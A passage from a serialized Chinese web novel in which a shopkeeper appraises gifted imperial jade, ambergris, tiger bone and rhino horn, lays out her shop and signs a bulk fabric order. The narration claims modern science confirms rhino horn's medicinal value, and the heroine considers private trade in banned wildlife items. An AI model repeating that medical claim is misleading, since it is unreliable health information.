申明月给得太多了！ 尤其那几只玻璃种帝王绿大圈口手镯，萧妧妧从没见过这么完美的帝王绿，比她手上那条珠链好太多。 不需要系统估价，萧妧妧可以断定，价值直接干到上亿，比起孟有树的那几个帝王绿藏品，伯仲之间。 一个帝王绿镯子飙到一个亿的价格，可想而知有多优秀，这么优秀的镯子，她有六只…… 萧妧妧激动地掐一把人中，申明月噗呲噗呲笑。 “萧老板莫慌，我这儿还有更值钱的呢。” 匣子依次合上，挪到一边，申明月翻出藏在底下的方形小木匣。 萧妧妧不禁啊了一声，更值钱？ 你们古代的大富豪是不是太离谱了？ 反正好东西落在了自己手里，萧妧妧可不嫌弃钱多，伸着脖子直勾勾去看。 “嘶……墨翠！” 无杂无裂无棉的墨翠，传说级别的存在！ 【作者有话说】 预估错误，那个扯蛋玩意可能要在下一章或者下下章了吧[捂脸偷看] 感谢读者“四方”,灌溉营养液 +1 感谢读者“小露珠”,灌溉营养液+1 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 124 第124章 ◎它很值钱的◎ 墨翠存在石棉的情况很常见,挑选墨翠时，除了看种、水、色，石棉少这一点也很重要。 因此，无杂无裂无棉的墨翠便显得格外稀有与珍贵。 众所周知,绿翠中帝王绿为最佳,但圈子里的老师傅们说过,无杂无裂无棉的墨翠比帝王绿更值钱。 这话代代流传,实际上，谁也没见过能超越帝王绿的墨翠。 现在,萧妧妧无比幸运地触摸到它，并戴在了手腕上。 萧妧妧能一眼认出来,多亏之前苏娇娇送来的墨翠砗磲围棋，顺带学习了怎么判断墨翠的优劣。 比起存在少量石棉的墨翠棋子,这件肉眼看通体漆黑的墨翠手镯绝对是珍品，打灯看,透出来的绿色是纯正的帝王绿色泽。 独一无二。 4个亿能拿下一套帝王紫,这一只墨翠,抵得上一大半。 帝王绿珠链直接划出萧妧妧心中最佳的宝座,墨翠手镯登顶第一。 萧妧妧来回摆动手腕,痴痴望着腕间的墨翠，低声嘀咕：“我可真是个见异思迁、见一个爱一个的肤浅女人。” 申明月煞有其事地点头，调侃道：“萧老板准备好爱下一个吧。” 然后，她捧来了另一个匣子。 萧妧妧恋恋不舍地挪开目光。 “这是……” 恕她眼拙,萧妧妧除了可以确定它是翡翠，造型是个镯子,其他完全看不出来。 种水在玻璃种和冰种之间,很老,透明度不错，透字没问题。 颜色偏阳，看不到色根，非常均匀融洽，整体有很强的荧光感。 一整圈看下来，无棉无杂，触之细腻莹润。 萧妧妧一手举镯，一手挠头。 这是什么玩意？ 不像阳绿，也不是帝王绿，看起来更不会是便宜货。 她走到阳光下，重新分辨。 正是日头最烈的时候，阳光透下来，却给人一种寒冷的感觉。 像峡谷、溶洞里的绿色深潭，望之便浑身泛起凉意。 萧妧妧想起了翡翠中的另一个传说。 “……龙石种？”她转过身，试探着问。 龙石种，翡翠中的名贵品种，从上个世纪开始就已经绝迹，目前已然绝矿，市面上所谓的龙石种百分百是高冰种冒充。 换句话说，龙石种相当于瓷器界的汝窑。 萧妧妧所能查到的资料中显示，全球范围内现存的龙石种不超过100件。 上一次拍卖龙石种手镯在十年前，落槌价高达3亿。 除此之外，再没听说有人出售。 龙石种的稀有是众所周知，脑干缺失才会拿出去买卖。 所以，龙石种唯一的流通方式只剩下一种——血缘。 不到100件的龙石种翡翠，几乎全在私人藏家手里，市面上根本见不到，有价无市。 帝王绿易得，龙石种难寻。 在萧妧妧心里，这是一个可以和汝窑划上等号的翡翠。 墨翠第一的宝座没坐热乎呢，后来居上的龙石种就把它赶下去了。 按理说，见过不少世面的萧妧妧应该像个沉稳的大人一样淡定，但是，它是龙石种啊！ “原来萧老板也知道龙石种啊。”申明月略显尴尬地笑笑。 看来，只有她没见过世面了。 申明月知道帝王绿，听说过东珠玛瑙，龙石种是第一次知道。 丫鬟们口径统一，说龙石种和东珠都是李家老太太的私藏，她完全看不出来哪里好，现在连萧妧妧都这一幅震惊表情，可见丫鬟们没有诓骗她。 她点头，给了肯定答复：“对，是龙石种。” 萧妧妧渐渐瞪大狐狸眼，行尸走肉一样来到躺椅旁边，一屁股坐下，四肢像咸鱼似的摊开。 “萧老板？”申明月不解，刚才还欢欢喜喜的，怎么这就躺下了。 萧妧妧声线发飘：“你让我缓缓，头晕。” 绝种的玩意她手上有三个，汝窑、帕拉伊巴，以及龙石种。 其实真要按绝种来分类，东珠有资格在其中占据一席之地。 东珠采珠业百年前便已经覆灭，尤其东珠本就产量稀少，开采条件限制颇多，想要一颗圆润饱满的优质大珠，那更是难上加难，即便放在古代宫廷里也算得上稀缺货。 在封建王朝统治时期，东珠代表了身份象征，只有皇室能够使用，而且还是核心皇室成员，根本不会在民间流通。 以上这些绝种的宝贝，肤浅如萧妧妧，也不愿意用价钱来衡量它们。 申明月见她神情几度变幻，迟疑了，这到底是喜欢还是不喜欢？ “你要是不喜欢，我再给你换换？”她试探着问。 “喜欢！命都可以给它。”萧妧妧不等她说完，翘起脑袋抢答。 申明月抓了抓脸，“……看出来你很喜欢了，要不，我再给你多找几个？” 听丫鬟说，东珠只有皇帝皇后可以戴，再想拿到东珠，恐怕要攻进皇城才有机会。 这个机会太渺茫，不现实，龙石种翡翠倒是简单，虽贵重，却不是太稀罕的东西。 小小李氏已经如此，城中另外两个大族肯定有过之，只等底下人完成登记造册，她好继续挑拣。 申明月很有信心，语气笃定开口：“萧老板放心，除了东珠，你看到的这些东西，我都能再给你找来。” 萧妧妧倒吸一口气，脑袋重重砸回躺椅。 “你先别说话，我好像高血压了，缓缓。” 一个不够，还要再来一个？这种好事竟然轮到她了。 范进中举（划掉，萧妧妧得宝，一时间，激动喜悦满足振奋得意的情绪一股脑冲进大脑。 她瘫了足足一分钟，回味“天降巨富”的滋味，然后噌的一下燃了起来。 “继续继续，我倒要看看还有多少我没见过的好玩意。” 申明月配合地打开第二个箱子，瞄一眼里面的或方或长的扁木匣，道：“哦，这里东西比较乱。” 萧妧妧挑眉，能有多乱？ 随着匣子一个个打开，她大概明白申明月所谓的乱是哪种。 先说长条形状的匣子，一共十三个，红木、樟木、紫檀木；雕花、镶金、嵌螺钿；华丽、雅致、平平无奇。 萧妧妧猜测它们装的是珠链一类的。 等申明月全部打开小匣子，萧妧妧暗暗点头，没猜错。 十三条珠链，材质各不相同，大小珠都有，全部是长珠链。 贵的有帝王绿、帝王紫、红珊瑚、玳瑁，便宜的有碧玉、青白玉、黄玉、青金石。 红黄蓝绿紫像彩虹一样在面前摊开，眼花缭乱。 萧妧妧已然淡定，眼神扫过去，甚至开始想象搭配她哪些复古风裙子更好看。 她一如既往的肤浅，率先挑出最贵帝王绿、帝王紫，它们用最贵的紫檀木匣子装着。 这两串珠子大小一致，与从高鹭手上得来的那串比，略大几毫米，珠子数量不多，长度却没什么区别。 颜色种水净度什么的都不需要仔细看，一打眼过去就能看出它们有多顶。 这样的好货，萧妧妧只在孟有树那里见过实物。 如果说高鹭那串可以冲到过亿的价格，再多不可能，手里这两串，过亿只能算起步，大概值个1.5~1.9亿左右，想要上2亿，需要一个不差钱的主。 她转而取来之前的那套帝王紫，两个匣子并在一起，来回观察。 萧妧妧发现，同样是紫翡，单看个顶个的优秀，放在一起，高低一眼能看出来。 整套的帝王紫种水更佳，颜色更好看。 果然，什么好东西都怕对比。 这么一比较，帝王紫珠链在她心里的估价直接砍去三分之一，整套帝王紫则被衬托的越发优秀，估价上涨。 看完这两条珠链，萧妧妧便懒得去看其他几条了，匣子合上，继续翻出其他匣子。 申明月介绍：“这里面是项链，有的配了耳坠，有的则是配的发簪。” 十个方形扁匣子依次打开，萧妧妧看过去，眼前金光闪烁。 “金嵌珍珠、金点翠嵌宝石、金镶翡翠、金镂空嵌宝石珍珠……”萧妧妧眯了眯眼，嚯了一声。 繁华富丽，巧夺天工！金子算是给古代工匠玩出了花。 各种嵌了宝石、翡翠、珍珠、珊瑚的项链呈圆形铺展来，中间是同种工艺、材质、配色的耳坠、手镯、戒指或者发簪，搭配出两件套或者三件套。 这一套套首饰的价值大约在百来万左右，根据材质与工艺的不同，价格上下浮动，便宜的不到百万，贵的也才小几百万，整体而言不算贵，但好看，绝美。 申明月百无聊赖地看萧妧妧拿起项链在脖颈间比划，夸赞了一句：“好看，适合萧老板。” 不是她拍马屁，萧妧妧的长相非常适配这些华丽款式的首饰，越艳越美越适合她。 看惯了她素净打扮，申明月有一瞬的惊艳，而后暗道自己的选择没错，它们果然该在萧妧妧的身上戴着。 萧妧妧最喜欢听别人夸她，百听不厌，眉开眼笑的回道：“谢谢啊，我也觉得很适合我。” 申明月欣赏片刻，继续道：“萧老板，剩下的一起看了？” 箱子里还有十五个朴素的匣子。 萧妧妧不舍地放下项链，应了一声好转移视线。 “这里是手镯、戒指和一些耳坠，手镯一共二十对，戒指十五枚，耳坠四十对。” 这些小物件完全按照材质分类摆放，每个匣子里的数量不等，和前面的项链组套差不多，采用金属工艺，镶嵌各色宝石珍珠，色泽鲜艳，甚至于花哨。 同样的，好看，不贵。 放在最后的两个匣子反而比较贵重，萧妧妧看到了满满一匣子的玻璃种满色帝王绿单圈珠串，一共二十条，珠子大小在14mm左右，全部出自同一块料子。 看到手串，萧妧妧眼神一亮，迫不及待取出来往手腕上套。 帝王绿、帝王紫动辄大几千万过亿，戴在身上太高调，而且她戴着撑不起气场，反而滑稽。 想要给顾客留下靠谱印象，又符合自己现在的人设，帝王绿手串非常合适。 毕竟一串八九百万呢，低调又有内涵，哪怕全身上下只戴这么一串，也不会让人小看。 等等……我现在对低调的定义已经抬到了八九百万？ 萧妧妧忽然愣住，不禁挠了挠脸。 申明月见她来回试戴帝王绿手串，满意得很，于是催着萧妧妧去看最后一个箱子。 她腼腆地笑：“这一箱虽不及珠翠贵重，却也是难得的好东西。” 难得？ 萧妧妧喜欢难得的东西，忙不迭打开。 “灵芝、人参、鹿茸、燕窝、阿胶……”萧妧妧连声惊叹，目光凝在其中一个匣子，猜测道：“这是雪莲吗？” 申明月点头：“对，我找大夫看过，保存极好，药效都在。” 萧妧妧好奇地摸了摸比她脸大的灵芝，有她小臂一半粗细的百年老参。 她指向另一边：“这个呢？” 申明月瞄一眼，道：“虎骨。” 萧妧妧吸气，好刑的东西，赶紧缩回胳膊。 “那这个是什么？”她抿抿唇，有点嫌弃的看向最边上方匣子，“咦……密集恐惧症要犯了。” 银白色或者是灰白色的块状东西，大约有她脑袋这么大，坑坑洼洼的小洞密布，整体形状嶙峋崎岖，像烂石块，看不出来是什么玩意。 申明月撅了撅嘴，为它发声：“这可是好东西，龙涎香！” 萧妧妧一愣，顿时不觉得它恶心了，“龙涎香？原来长这样啊。” 丑是丑了点，但是它值钱啊。 萧妧妧掂量一下，这么一大坨估摸着有四、五公斤，从颜色看，绝对是顶级的龙涎香。 按照现在的市场价，顶级龙涎香差不多能卖到八九百万，顶得上一只高货翡翠镯子，算下来一斤有大几十万左右。 “失敬失敬，是我有眼无珠。” 萧妧妧查完资料，手机一丢，冲着龙涎香拱手，再不提它丑这件事。 “最后一样不得了，在我那里被称作圣药。” 申明月神秘兮兮地凑过来，动作鬼祟地打开最后一个匣子。 “萧老板，你看这是什么。”她献宝似的捧起匣子，送到萧妧妧面前，声调上扬：“它很值钱的！” 萧妧妧只觉得一股陌生气味淡淡袭来，垂眸，匣子里躺着两坨巴掌那么长、拳头那么厚，看不出是棕色还是黑色的玩意。 噫！好丑。 萧妧妧茫然眨眼，疑惑目光回望申明月。 【作者有话说】 关于23章的东珠，申明月复述丫鬟说辞，“价值千金”在那个语境下不是具体数额，而是一种形容。 申明月不知道东珠的价值，丫鬟用价值千金来向申明月解释、形容东珠的珍贵，给她一个概念，不是说值一千两白银的意思。 感谢读者“小张”，投掷地雷+1 感谢读者“南朝楼台”,灌溉营养液 +20 感谢读者“mmmosquito”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“catle”,灌溉营养液 +1 感谢读者“又是攒不了文的一天”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 感谢读者“小露珠”,灌溉营养液+1 125 第125章 ◎甜蜜的烦恼◎ “犀角！” 申明月如果有尾巴,此时应该高高竖起晃啊晃。 “在我们那这可是救命神药，有起死回生之效，”她不好意思的笑笑：“大家都这么说，却没亲眼见过。不过大夫应该不会说假话骗我。” 救命神药、起死回生……萧妧妧反应了一会才意识到是哪个犀角。 “亚洲犀牛角？”她瞪大眼睛。 这下轮到申明月迷茫了,什么亚洲犀牛角,她只知道叫犀角,应该是同一种东西吧？ 萧妧妧在网上搜索一番,果然，不管是民间藏家展示的图片,还是博物馆的官方拍摄图中，对比下来有九成相似。 不仅是犀牛角,还是古老犀牛角，好家伙,更刑了。 这东西目前已经禁止交易，别说交易,连狩猎犀牛都是违法的。 《本草纲目》记载犀角可解百毒,什么伤寒瘟疫、药毒热毒、中风吐血等等,都能治。 也因此,在古代,犀角制成的药被称之为神药，犀角配方的“安宫牛黄丸”的价格根本打不下来，水牛角替换的普通版本卖到几百一丸，选取药材好些的上千上万不等。 尤其上了年份的老药,一丸数十万，近几年的炒作下,价格变得越来越高 但是…… 想到这个但是,萧妧妧的震惊情绪收敛了几分。 经过现代科学验证,犀角的药用价值确实存在，但要说“起死回生”“神药”，也确实高估了。 想了想，萧妧妧决定和申明月仔细解释，免得她以后碰上情况真拿犀角救命，反倒耽误了治疗。 申明月等着萧妧妧露出震惊惊喜喜悦的表情，结果话锋一转，轮到她懵逼了。 “啊？意思是说，它根本没那么厉害？” 申明月有点破防，自己当成压台的宝贝，竟然翻车了。 萧妧妧措辞片刻：“夸大了一部分，其实也挺厉害的了。” 申明月泄气地垮下肩膀，匣子随手一合，又随手丢在一旁。 太丢人了！ 萧妧妧耸着肩头笑：“可是你前面送的帝王绿、墨翠我都很喜欢啊，它们在我这里很值钱，咱们的交易结清了。” 闻言，申明月郁闷的小脸重新扬起笑容。 她指了指沙发方向，语气轻快：“萧老板，我回去看兵书。” 然后乐颠颠地蹦回去，捧着平板学习兵法。 走了一个柳如烟，来了个申明月，一个追剧看小说，一个看讲座听兵法，两人抱着平板不肯撒手的样子如出一辙。 萧妧妧环顾四周，看着三个大箱子，兴奋情绪渐渐褪去，苦恼随之而来。 贵重确实挺贵重，但是…… 萧妧妧环顾一圈，能让她安心拿出去交易的，没几个。 先说那几个顶级好货，除了帝王绿手串可以卖几个增加进账，其他比如东珠、帝王绿珠链、帝王紫，萧妧妧是不打算出的。 帝王绿帝王紫握在手里相当于买入了飞速上涨的股票，现在卖出去不划算。 关键的是，手里货太多，不管什么方式出手，都会对行情造成冲击，没必要自己打自己。 至于稍次一点的辣绿、飘花、白月光镯子，可以放在店里慢慢卖，它们数量多，品相也好，加起来可以赚个大几千万吧。 而东珠，萧妧妧没那个胆子卖。 因为稀少，且赋予了权利象征的作用，当下存于世的东珠绝大部分在博物馆，民间藏家根本没机会收藏。 换句话说，每一颗东珠都能溯源，莫名多出几颗，高调不说，还会惹来不必要的疑心。 即便她有系统给的资料，也不敢冒险。 所以，东珠注定见不了光，只能她自己盘着玩了。 与之相比，点翠凤冠、犀牛角、玳瑁等物，虽然禁止交易，但是不妨碍公开展示。 如果出价合适，萧妧妧很愿意私下来往。 再说那些手镯，萧妧妧实在喜欢，反正她不缺钱，东西卖出去也卖不到千万级别，不如自己留着欣赏。 最后是那一箱药材，灵芝人参百岁往上，可不是现在人工养殖个几年的东西能比上的。 这种有钱也买不来的好东西，萧妧妧自然不愿意出手。 见不了光的一类，禁止交易的一类，自留的分一类，长期持有以后出手的又是一类，可以马上摆进店铺等待售卖的搁在一边…… 萧妧妧挑挑拣拣半天，重新分配摆放后，苦恼叹气。 三大箱子的宝贝，当下就能卖出去变现的其实没几样。 压箱底的东西太多了，家底太厚，这么多东西，大平层可不够用，至少要一套别墅才能塞得下。 再赚几千万就买别墅！ 萧妧妧扶额苦笑，嘀咕道：“甜蜜的烦恼啊。” 东西分门别类存放进系统空间，小卖部更加空旷，趁这会工夫，萧妧妧开*始琢磨店铺的新布局。 有系统在，她需要做的只有来回摆弄柜台货架，找到满意的方案。 来回调整几次，规划货架用途，萧妧妧总算选出一个合理的布局。 普通顾客所需的各类货品放在189号铺面里，188号店铺正门和连通189号的二道门附近，全部摆上无人问津的货，普通顾客只会以为店铺选品杂乱，瞄一眼便不会进来。 而在这些货架之后，才是针对异世界客人们的选品，越是靠近后门位置越是不日常、不必需的货，最大程度防止普通客人闯入。 尤其萧妧妧还鸡贼的在感应门上做手脚，188号穿到189号方向感应灵敏，不会妨碍异世界客人前去挑选。 反过来，189号穿到188号方向加了一个开门步骤，需要客人手动按钮，按钮位置安排得不那么起眼，从而避免了普通客人因为好奇的闲逛。 别看只是一点不便，却足够挡住一部分嫌麻烦、没有探索欲的人。 萧妧妧在两间店铺来来回回走动，各个角度各种挑剔，确认后门连通结界的位置处于死角，不会被普通客人注意到后，满意叉腰。 她环顾一圈，看到灰扑扑的老式旧柜台、旧货架，索性一起更换成系统提供的基础款。 墙面、瓷砖、灯光、货架、柜台，全部保持一致，整个铺子看起来和谐多了。 只要在189号门口位置多加一个收银台，依旧选择自助付款模式，便可以正常营业，刚好省得她时时关注这里。 忙完这一切，萧妧妧怎么看她的小卖部怎么舒心，完全是她的梦中情店！ 她没忍住拍了几张照片，只等店铺重新营业后再发到朋友圈。 正忙着P图加滤镜，萧妧妧这时注意到，手机弹送出热搜新闻。 瞥到点翠凤冠几个字，萧妧妧不由自主顺着标题点了进去。 定睛一看，她无语地笑出声。 萧妧妧好奇别人的凤冠是什么样，和自己的比如何，结果倒好，点进去发现，网友截图发在网上并登上热搜的绝美头冠，正是自己发出去的那几个。 上了热搜，引来无数网友围观，疯狂夸赞头冠的美貌。 评论区有人指路，网友顺着爬过去又发现，竟店铺老板就是前段时间捐史料的人。 萧妧妧还是在评论区看到大家截图才知道，原来自己拍的头冠视频集火了。 除了之前因为捐史料上新闻，视频号因此有了几条点赞破万的数据，之后发布的古董视频数据逐渐回落，点赞在大几百左右。 发出去没多久的头冠视频莫名其妙火了，到现在为止，点赞量达到了十七万。 评论数量骤增，网友们哭着喊着要同款，此前质疑真假的评论淹没其中，无人理睬。 “萧老板，古董铺来了个客人，你来看看，我总觉得他有问题。” 正当萧妧妧刷评论区乐不可支的时候，孟甜甜从后院找了过来。 提醒完，她站在门口望着焕然一新的铺子，哇了一声。 崭新的货架更适配小卖部的装修，灯光下显得亮堂堂，可惜没能摆上货品，否则满当当的看着就满足。 原先摆在后门与柜台之间的法式小圆桌撤走了，面积变大不说，又换上四张小方桌，人多的时候可以拼在一起，省得大家吃饭挤挤挨挨。 “真宽敞啊，以后我们都在这里活动吗？”孟甜甜兴奋地问。 人少的时候倒还好，人多了难免动静大，时不时惹来普通客人的目光，大家只好地转移到院子里活动。 但是后院也没那么方便，萧老板经常招待古董铺的客人，她们这些异世界偷渡客必须警惕着点。 萧妧妧收起手机，走到后门附近比划一圈：“当然，这里是我专门留出来的区域。还有189号后院，也是专门留给你们活动的地方。” 客人越来越多，原先觉得宽敞到不知道怎么规划的188号后院，一下子变得拥挤。 招待客人不方便，做生意受影响，所以萧妧妧才想着扩大。 有厨卫、有仓库、院子宽敞无人打扰，孟甜甜都想搬去189后院住了。 189号的院子虽然比不上188号的大，但胜在这里独属于她们，没人打扰，反而自在许多。 而且萧老板为了打通院墙加一道门，拆了189号院墙下的花坛，多出来两平米的活动区域，55平的院子看起来格外通透宽敞。 “想搬就搬，你想换着住我都没话说。”萧妧妧调侃。 孟甜甜雀跃地说：“那我可要挑一挑家具了。” 萧妧妧：“对了，你刚刚说谁奇怪？” 孟甜甜想起正事，严肃了神情，低声说：“来了个客人，在铺子里转呢，虽然没什么奇怪举动，但……” 萧妧妧望着她，等待下文。 孟甜甜说出自己的感觉：“我能感受到他身上的恶意。” 【作者有话说】 写到了，但是还没写完，有个后续[来着捂脸偷看] 完结的话，应该还没那么快，一开始预估50万字，写着写着发现50万写不完，走完剧情估计要奔着80去了[裂开] 感谢读者“不啻微茫”,灌溉营养液 +100 感谢读者“四方”,灌溉营养液 +1 感谢读者“汐寒”,灌溉营养液 +104 感谢读者“月白”,灌溉营养液 +10 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“昭昭猫猫头”,灌溉营养液 +100 感谢读者“木昰”,灌溉营养液 +1 126 第126章 ◎博物馆的邀请◎ 孟甜甜的话,萧妧妧百分百相信。 来自末世的她一如往常的警觉，尤其对他人恶意的感知力，从来没出错。 萧妧妧忙不迭来到古董铺，一进门,就看到一个瘦高戴着黑框眼镜的男人嘀嘀咕咕什么。 他穿行在展示柜间,时不时蹲下身去看柜台里的首饰。 萧妧妧打量的工夫,注意到他锁骨附近挂着的设备,顿时松懈些许。 看起来举止奇怪，其实是为了方便拍摄。 萧妧妧接到不少古董、珠宝圈的网红团队邀请,希望上门拍摄一期视频。 当然，需要萧妧妧给点好处。 萧妧妧不缺网红的那点曝光,何况生意已经够好了，还用不到这个方法提升知名度,于是她委婉拒绝了。 上过热搜的古董铺，吸引一两个网红主动探店这不是挺正常嘛。 萧妧妧没认出这位网红是谁,只当他是普通客人招呼。 “先生想买古董、艺术品,还是首饰？”萧妧妧走到柜台边：“店里的东西大部分是客人寄卖,所以比较杂,宝石珍珠翡翠玉石……各种材质都有,并且提供正规机构以及国际机构的鉴定证书。古董来源清晰，每一件都有交易证明和传承谱系，不存在风险。” 萧妧妧突然出现，瘦高男人身体倏然紧绷。 她看出男人的不自在,微微笑，语气柔和：“您随意挑选,有需要随时叫我。” 瘦高男人见她要走,连忙叫住：“老板,我要这件平安扣。” 萧妧妧顺着手指方向看去，是一条售价五万五的碧玉平安扣。 五千万的东西都卖出去过，五万不值一提，萧妧妧淡定的从饰品盒底部翻出鉴定证书，一边提醒客人保养要点，一边打包。 瘦高男人接过袋子，急匆匆离开。 孟甜甜这时走了进来：“萧老板，他是做什么的？” 萧妧妧不确定的说：“正常顾客？” 行为确实有点鬼祟心虚的感觉，说话时眼神躲避，问了平安扣几个问题，短句急促，长句有些结巴。 除此之外，看不出别的异常，萧妧妧也没感受到什么恶意。 应该是误会了。 孟甜甜抓了抓丸子头，神情尴尬：“大概是我看错了吧，最近暴雨，城市淹了大半，有幸存者摸到我那里避难，我可能过度紧张了。” 萧妧妧瞄了瞄外面的已经成型的充气艇：“难怪你一大早在准备东西。” 孟甜甜叹气：“气温也在降，等雨停了，要赶紧出发找一个新地方生活。” 一个地势高，不怕水淹，同时有土地方便种植的地方，城市里不太可能，必需跑远点，去城市外围找找。 孟甜甜想，总不能天天赖在小卖部，必需给自己建造一个安全堡垒。 她买了工具、种子、材料，堆在小卖部的库房里，现在就差一个合适的地点。 萧妧妧恍然，难怪周末过去了，也不见孟甜甜去打丧尸。 萧妧妧想不到还能怎么帮她，只道：“有什么需要你就说，我们这么多人可以帮你想办法。” 孟甜甜重重点头，回到院子里，把防寒物品堆上充气艇，再由萧妧妧负责投放过去。 下午没有客人预约，小卖部又暂停营业，快递要到傍晚才能送上门，这个时间段无事可做。 萧妧妧想到后面几天的安排，转身交待她们几句，和王经理约好见面时间，拿上一沓样布出门，打车前往。 目的地位于南市郊区，说是郊区，其实并不冷清，商场住宅学校一应俱全。 萧妧妧下车的时候，发现附近的布料城、纺织厂、服装厂不在少数，走出去几米不到，就看到了她要找的永恒纺织有限公司。 刚在大门口站定，联系过几次的王经理和另一位白衬衫地中海男人领头走来，身后跟着几个穿工服的人。 “萧小姐，辛苦辛苦，大热天劳您跑一趟，从哪来的？远不远啊？”王经理扬着笑脸，快步迎上来寒暄。 萧妧妧配合的恭维几句，握握手。 “这是我们的厂长，姓陈。”王经理介绍道。 萧妧妧转而和慢一步跟上来的陈厂长握手打招呼。 看得出来，大家对这笔订单非常重视，随同的人员不仅有设计师，还有负责生产的管理层，甚至安排了助理为她撑伞。 萧妧妧内心无措，表面强装淡定，在王经理的引领下，稀里糊涂进了厂子工作间。 是的，王经理坚持要带她参观一下设备。 萧妧妧想着来都来了，参观一下无妨。 一进厂子，都不需要萧妧妧主动开口，王经理如数家珍介绍设备，着重讲解生产速度和效率。 萧妧妧并不在乎速度和效率，不管怎么说，都不会比申明月那里人工织布更慢了。 设计师见她兴趣缺缺，在厂长的眼色下主动站出来。 “听说萧小姐需要仿古布料，我们按照出土文物以及古画复原，提前仿了一些样版。” 设计师递来文件夹，裁成A4纸大小的样品夹在其中，样品中间贴着布料信息。 萧妧妧没去看数据信息，先触摸感受样品。 果然是仿文物款，有些花纹看着就古朴，和申明月带来的样布瞧着差不多。 萧妧妧翻看了几种，用料主要是天然的丝、麻、棉，分别纸出素麻布、丝绸、素面缎、纯色香云纱、提花缎。 最妙的是，为了符合“古”，不止选择了复古纹样，连染色也做到了“人工感”，布边毛糙的特点完美复刻。 再去看中间贴着的信息，幅宽和长度跟着做出调整，并且再此基础上给出了具体的产量，一目了然。 萧妧妧惊喜不已，叫停参观，直接进入下一步。 会客室里，大家排排坐，萧妧妧二话不说，掏出样布。 接过样布的是设计师和生产部主任，两人拿到布便埋着脑袋研究分析，然后和自家布料进行对比优劣，评判能否达到要求。 萧妧妧看他们盯着样布瞧，低声讨论，先说出自己的需求量：“按照长度20米，幅宽1米为一匹的规格，每种需要一万匹。” “一万匹！”生产部主任噌一下弹起来，眼珠子瞪得要掉出来了。 视线挪到陈厂长和王经理身上，两人不约而同的红温了，彼此对视一眼，惊喜之色溢于言表。 他们赶紧拿过样布，仔细数了数。 半晌，数清楚有多少块样布的王经理倒吸一口气，彻底呆住。 “萧小姐不是开玩笑的吧？每种一万匹，那就是20万米，这可不是小数。” 一种20万米，样布一共15种，那就是……300万米！ 都快赶上厂子一年总产量的三分之一了！ 当然，是厂子生意还可以的年份，现在大环境不好，订单流失，一年生产量卡在5、600万米不上不下。 最近行业内又出了新规，需要办理各种认证，为了达到环保要求，原料要更换，设备要改进，成本成倍增加。 种种因素下，王经理已经好几年没拉到过300万米的大单了！ 他迫不及待地扭头，看向设计师和生产部主任，两人嘀咕半天，好一会才冲着王经理点头。 萧妧妧观察他们半天，分不清他们是嫌多还是嫌少。 “当然，我来这里可不是闹着玩的。这只是第一批，后面陆续有几批订单。”萧妧妧扭头看设计师：“怎么样，能仿吗？” 设计师点头，给出肯定答复：“花纹和配色我们都可以做到，如果萧小姐喜欢，甚至我们可以改变花纹。” 说着，设计师递来提前准备好的纹样样品。 萧妧妧眼睛一亮，接过样品后，参考了厂子的样版进行比对。 然后，她的目光落在了某驴牌同款的花纹上，忍不住轻笑一声。 申明月送来的样布由她那里的布料坊设计生产，完全照抄不太好，万一引来纠纷树敌就不妙了。 萧妧妧考虑了一会，随即决定配色不变，更换纹样。 有花纹的样布一共八种，萧妧妧挑出了八种新纹样替换，其中包括那款经典的老花。 “换成这几种吧，你是设计师，你来决定它们怎么搭配。” 大纹样还是小碎花，配深色布还是浅色布，留白多还是少，弱对比还是强对比，都需要设计师来平衡，才能生产出协调又符合大众审美的成品。 萧妧妧一个外行人，不太懂专业知识，索□□给设计师发挥。 设计师神情放松，笑吟吟说：“萧小姐，我们加个联系方式吧，纹样定好我跟您对接。” 萧妧妧递出手机添加好友。 “萧小姐放心，我们永恒是做了二十年的老厂子，质量绝对过关，价格方面您已经看过报价了，不知道有什么想法。” 陈厂长至今没回过神，王经理眼看她们有来有往，套路布料设计细节，心里的激动再也压不住，搓着手问。 虽然高兴订单十拿九稳了，但总归担心议价环节出纰漏，不到签订单打款的那一刻，都不能彻底安心。 萧妧妧周末和王经理通话后没多久，王经理就发来一张报价单。 之前为苏娇娇买麻布联系过许多厂子，买成品和定做布匹两种方式她顺带着打听对比过价格，永恒纺织厂的价格属于正常范围内。 尤其仿古布料对技术、设备、研发、认证等方面的需求，比高端功能性面料要求低很多，甚至没什么高难度要求。 所以，在纺织业里，毫无功能要求的仿古布料制作难度和成本并不高，价格相对来说会便宜些。 “按照你的报价来吧，交货的话，自然是越快越好。”萧妧妧主动问：“现在签协议吧？” 话音落下，在座的大家纷纷露出轻松笑意，忽然间容光焕发，干劲十足。 设计师主动为她倒茶，王经理现场拟定协议，陈厂长摸着油亮脑门，跟在萧妧妧左右陪笑脸。 萧妧妧签下名字的那刻，大家嘴巴笑抽筋了似的。 不善言辞的陈厂长捧着新出炉的协议，默默站在角落，感慨万千。 300万米的订单，足以救下永恒这间濒临倒闭的纺织厂，保住厂里的工人和机器。 至少这一年算是挺过去了。 纺织厂卡在转型这一关卡许多年，陈厂长始终拿不定主意。 往高端面料转型，机器要更换，环保政策要关注，人工成本要控制，技术要升级，国际认证要搞定……要打通的关窍太多了。 如果打入中低端面料，市场需求接近饱和，各家大厂有自己的合作伙伴，永恒凭什么抢得过别人？ 一来二去，转型的事耽误了下来，拖着拖着，厂子走入了困境，险些破产倒闭。 走到清仓闭厂、遣散员工这一步，大家都觉得没希望了，现实却给了大家一个礼物。 萧妧妧不仅买下了所有挤压许多年的麻布，还送来了一份大订单，救活了整个厂子。 婉拒陈厂长的饭局邀请，好不容易摆脱了热情的各位，萧妧妧催促司机加速往小卖部赶。 签协议的时候孟甜甜打来电话，店里有自称是南市博物馆的工作人员要见她。 萧妧妧百思不得其解，博物馆的人找来做什么？ 总不能是店里的古董和南市博物馆馆藏撞车了吧？ 一路上揣着忐忑与困惑，下了车萧妧妧直奔店里。 孟甜甜努努嘴，示意在古董铺里打转的两个西装男人。 “我是不破斋的老板萧妧妧，二位怎么称呼。”萧妧妧整理一下衣服，喘匀了气，不急不缓地迈步进店。 提着公文包的西装男人转过身，大约四十来岁，有着文化工作者的儒雅气质。白色短袖衬衫的男人年轻些，三十左右。 两人不着痕迹地打量萧妧妧一会，主动上前，递上名片与工作证件。 儒雅西装男笑呵呵伸出手：“久仰萧老板大名，我是南市博物馆典藏部的崔民。” 